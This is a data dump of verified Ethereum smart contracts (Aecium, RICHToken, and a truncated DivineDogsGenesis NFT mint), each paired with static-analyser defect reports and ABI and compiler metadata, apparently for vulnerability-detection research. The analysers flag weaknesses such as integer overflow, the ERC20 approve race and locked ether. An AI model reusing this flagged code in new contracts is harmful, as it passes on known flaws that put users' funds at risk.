nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge; _coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days)); } } function ownerSetStakeStartTime(uint timestamp) onlyOwner { require((stakeStartTime <= 0) && (timestamp >= chainStartTime)); stakeStartTime = timestamp; } function ownerBurnToken(uint _value) onlyOwner { require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); totalSupply = totalSupply.sub(_value); totalInitialSupply = totalInitialSupply.sub(_value); maxTotalSupply = maxTotalSupply.sub(_value*10); Burn(msg.sender, _value); } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); uint64 _now = uint64(now); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now)); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); return true; } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["312"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["161", "231"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["117", "118", "104", "105", "106", "80"]}, {"defect": "Redefine_variable", "type": "Code_specification", "severity": "Low", "lines": ["123", "124", "125"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["44"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["242", "244", "260", "263", "278", "157", "158", "296"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["243", "241", "261", "273", "258", "198", "197", "276", "314", "320", "175", "174", "253", "266", "249"]}]
[{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Aecium.sol": [198]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Aecium.sol": [320]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Aecium.sol": [292]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Aecium.sol": [174]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Aecium.sol": [175]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Aecium.sol": [314]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Aecium.sol": [197]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [119]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [80]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [117]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [104]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [126]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [118]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [105]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [125]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [124]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [106]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Aecium.sol": [9, 10, 11, 12, 13]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Aecium.sol": [278]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Aecium.sol": [266]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [232, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [94]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [282, 283, 284, 285]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [66, 67, 68, 69]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [108]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [82]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [92]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Aecium.sol": [81]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [1]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [241]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [243]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [261]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [258]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"Aecium.sol": [68]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Aecium.sol": [284]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [287]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [179]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [302]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [210]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [302]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [210]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [269]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [248]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [132, 133, 134, 135]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Aecium.sol": [269]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [80]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [105]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [104]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"Aecium.sol": [106]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Aecium.sol": [261]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Aecium.sol": [243]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Aecium.sol": [283]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Aecium.sol": [276]}}]
[{"error": "Integer Underflow.", "line": 118, "level": "Warning"}, {"error": "Integer Underflow.", "line": 117, "level": "Warning"}, {"error": "Integer Overflow.", "line": 114, "level": "Warning"}, {"error": "Integer Overflow.", "line": 28, "level": "Warning"}, {"error": "Integer Overflow.", "line": 302, "level": "Warning"}]
[{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 9, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 15, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 22, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 27, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 81, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 92, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 108, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 109, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 179, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 210, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 234, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 238, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 241, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 243, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 258, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 261, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 278, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 202, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 272, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 306, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 312, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 272, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 306, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 312, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 115, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 48, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 66, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 81, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 82, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 92, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 108, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 109, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 156, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 167, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 179, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 183, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 202, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 210, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 214, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 230, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 238, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 287, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 302, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 137, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 138, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 139, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"coinAge","outputs":[{"name":"myCoinAge","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"timestamp","type":"uint256"}],"name":"ownerSetStakeStartTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"maxTotalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"getBlockNumber","outputs":[{"name":"blockNumber","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"chainStartTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"stakeStartTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_recipients","type":"address[]"},{"name":"_values","type":"uint256[]"}],"name":"batchTransfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"ownerBurnToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalInitialSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"annualInterest","outputs":[{"name":"interest","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"stakeMinAge","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"chainStartBlockNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"stakeMaxAge","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxMintProofOfStake","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_address","type":"address"},{"indexed":false,"name":"_reward","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
v0.4.16+commit.d7661dd9
true
200
Default
false
bzzr://9825c36676ea98c670d40fa47f3c5d3f96d8ec37b4e1c2dfd435845643d4d62c
RICHToken
0xf9a854d2cde1b2efc20825de5fa9e29dd45b6db8
Solidity
pragma solidity ^0.4.24; //Michele Zaniolo Rich Coin //Safe Math Interface contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } //ERC Token Standard #20 Interface contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } //Contract function to receive approval and execute function in one call contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } //Actual token contract contract RICHToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "RICH"; name = "Rich Coin"; decimals = 0; _totalSupply = 3000000000000000; balances[0x28796154A3B187724CDfcA37e0cdAFe60BD86b78] = _totalSupply; emit Transfer(address(0), 0x28796154A3B187724CDfcA37e0cdAFe60BD86b78, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } }
[{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["53"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["47"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [86, 87, 88, 89, 90]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [48]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [96, 97, 98, 92, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [104, 105, 106, 107, 108, 109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [100, 101, 102]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [24, 25, 26, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [72, 73, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [75, 76, 77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [112, 113, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [79, 80, 81, 82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RICHToken.sol": [18, 19, 20, 21]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"RICHToken.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"RICHToken.sol": [112, 113, 111]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RICHToken.sol": [57]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"RICHToken.sol": [66]}}]
[{"error": "Integer Underflow.", "line": 55, "level": "Warning"}, {"error": "Integer Underflow.", "line": 72, "level": "Warning"}, {"error": "Integer Underflow.", "line": 54, "level": "Warning"}, {"error": "Integer Overflow.", "line": 104, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 67, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 68, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 72, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 33, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 34, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 35, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 71, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 75, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 100, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 86, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 53, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 111, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 111, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 48, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 104, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 59, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 60, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.26+commit.4563c3fc
false
200
Default
None
false
bzzr://5d4f4393f58afe69e40a1831ca76fcd0340027f2e3f8f0ffe334b3dfc5d7dd73
DivineDogsGenesis
0xdbc06cf5883cb3ff566c84b75cf370df805e44de
Solidity
// File: contracts/DivineDogsGenesis.sol pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "./ERC721A.sol"; contract DivineDogsGenesis is ERC721A, Ownable, PaymentSplitter, ReentrancyGuard { uint public constant teamReserveAmount = 0; uint public totalAvailable = 555; uint public maxPerTx = 3; uint public maxPerAddressDuringMint = 10; uint public cost = 0.01 ether; uint public nextOwnerToExplicitlySet; string public baseURI; bool public isMintActive; constructor( address[] memory payees_, uint256[] memory shares_ ) ERC721A("DivineDogsGenesis", "DDG") PaymentSplitter(payees_, shares_) {} function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function mint(uint256 quantity) external payable { require(isMintActive, "Mint is not active"); require( msg.sender == tx.origin, "Only sender can execute this transaction!" ); require( quantity < maxPerTx + 1, "Minted amount exceeds mint limit!" ); require( totalSupply() + quantity < totalAvailable - teamReserveAmount + 1, "SOLD OUT!" ); require( numberMinted(msg.sender) + quantity <= maxPerAddressDuringMint, "can not mint this many" ); require( msg.value == quantity * cost, "Need to send the exact amount!" ); _safeMint(msg.sender, quantity); } function reserve(uint256 quantity) external onlyOwner { require( totalSupply() + quantity < totalAvailable + 1, "Not Enough supply to reserve" ); _safeMint(msg.sender, quantity); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseURI(string calldata baseURI_) external onlyOwner { baseURI = baseURI_; } function withdraw() external onlyOwner nonReentrant { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { _setOwnersExplicit(quantity); } function setCost(uint256 _newCost) external onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newMaxMintAmount) external onlyOwner { maxPerTx = _newMaxMintAmount; } function setMaxMintPerWalletAmount(uint256 maxPerAddressDuringMint_) external onlyOwner { 